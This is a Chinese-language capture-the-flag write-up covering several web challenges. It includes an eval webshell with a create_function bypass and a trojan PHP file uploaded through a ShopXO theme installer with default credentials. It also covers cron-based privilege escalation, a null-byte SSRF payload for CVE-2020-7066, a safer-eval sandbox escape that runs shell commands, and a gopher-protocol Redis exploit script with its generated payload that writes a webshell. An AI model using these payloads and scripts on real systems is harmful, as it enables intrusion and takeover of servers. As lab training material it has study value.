打开题目得到源码
Check_In
code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
看看phpinfo页面禁用函数,看到了禁用大量系统函数
这里本来想用蚁剑的base64编码进行连接,连接没有成功,然后用的create_function进行绕过连接
$func=create_function(' ',$_REQUEST['cmd']);$func(); 密码:cmd
JGZ1bmM9Y3JlYXRlX2Z1bmN0aW9uKCcgJywkX1JFUVVFU1RbJ2NtZCddKTskZnVuYygpOw==
在根目录发现readflag文件,老套路,需要运行这个文件读取flag,需要bypass,可以参考我之前写的这篇文章
这里/var/www/html目录是不可以上传的,上传到/tmp目录进行文件包含,拿到flag
打开网站发现是个shopxo商场,直接百度搜索系统漏洞,进入到默认后台admin.php,使用默认密码admin/shopxo登录
在后台->应用管理->应用商店下载一个默认主题,我做的时候是有的,复现的时候没了,可以自行在网上下载,然后在下载的压缩包里面放入一个木马文件
然后在后台->网站管理->主题管理->主题安装上传我们刚刚的压缩包
测试成功性,发现成功执行
路径:/public/static/index/default/chounana.php
蚁剑连接,在根目录下发现一个flag和flag.hint文件,一个内容是假的flag,说flag在root目录下,于是需要提权,还有一个是提示内容,说时间是有用的,能够想到定时任务
接着查看了一下auto.sh文件,每60秒运行一次/var/mail/makeflaghint.py文件,于是想到修改这个文件让它执行
chounana=io.open("/root/flag", "r").read()
f.write(str(chounana))
查看flag,hint文件,得到flag
hint:cve-2020-7066
直接搜这个漏洞
在PHP7.2.29以下的7.2.x版本、7.3.16以下的7.3.x版本和7.4.4以下的7.4.x版本中,当对用户提供的URL使用get_headers()时,如果URL包含零(\0)字符,则URL将被自动截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。
接着就打开题目
这里F12可以再network里面看到提示
点击View CTFHub之后发现多了URL多了个url?=
结合前面所有的信息,%00截断,只能看*.ctfhub.com,flag在本机,host必须以123结尾,于是构造出payload
?url=http://127.0.0.123%00www.ctfhub.com
得到flag
打开网页
点击源代码,下载一个文件,得到源代码,分析代码(node代码不太懂,误打误撞出来了),关键地方在app.post('/eval', function (req, res)里面,但是这里前面有个小小的问题,前面设置了个Timeout,取我们通过GET方式传入的delay参数和自己设置的delay参数的最大值,这里我原先以为是单位小了,所以我传了一个很大的数,就这么绕过去了,其实这里是有一个setTimeout函数漏洞,
When delay is larger than 2147483647 or less than 1, the delay will be set to 1. Non-integer delays are truncated to an integer.
当delay大于2147483647或小于1时,延迟将设置为1。非整数延迟被截断为整数。
然而我传入的远远大于这个数
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
接着就发现saferEval函数,在上面发现是从safer-eval库导入的,能够从网页中的version获取到safer-eval的版本是1.3.6,搜索漏洞
找到漏洞可以执行函数,搜索saferEval函数的时候,搜索到2020 NPUCTF wp,代码很像,结合一下,构造payload
?delay=1000000000000
e=(function(){const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString()})()
打开网页,F12看源码
访问?secret得到本机ip
然后这里试试127.0.0.1是被禁止的,0.0.0.0是可以的,但是这里没用,记录一下,file协议也是被过滤的这里是内网,给了ip,想到ssrf探测内网,写个脚本,跑一下
import requests
ip = '173.173.38.{}'
url = 'http://99f58bf3-0950-499e-9f50-cdeeb37d306d.node3.buuoj.cn'
temp = "{0}/index.php?url={1}&submit=%E6%8F%90%E4%BA%A4"
for i in range(1, 255):
u = temp.format(url, ip.format(i))
resp = requests.get(u)
if len(resp.content) != 445:
print(i)
扫描结果
最后一个一个试,是到11的时候给了提示
于是得探测这个ip的端口,先是也用脚本跑,太慢了,突然想起来可以用bp爆破,有点憨
然后这里需要将线程调低点,不然访问太快容易429
扫描到6379端口,redis服务,搜索ssrf redis,得到一个未授权访问的漏洞,这里的dict协议也被过滤了,所以得用gopher协议
网上搜一下exp
import urllib
protocol="gopher://"
ip="173.173.38.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
将生成的payload打过去,在根目录下生成个文件shell.php,访问即可得到flag
gopher://173.173.38.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
后面两道题后面再补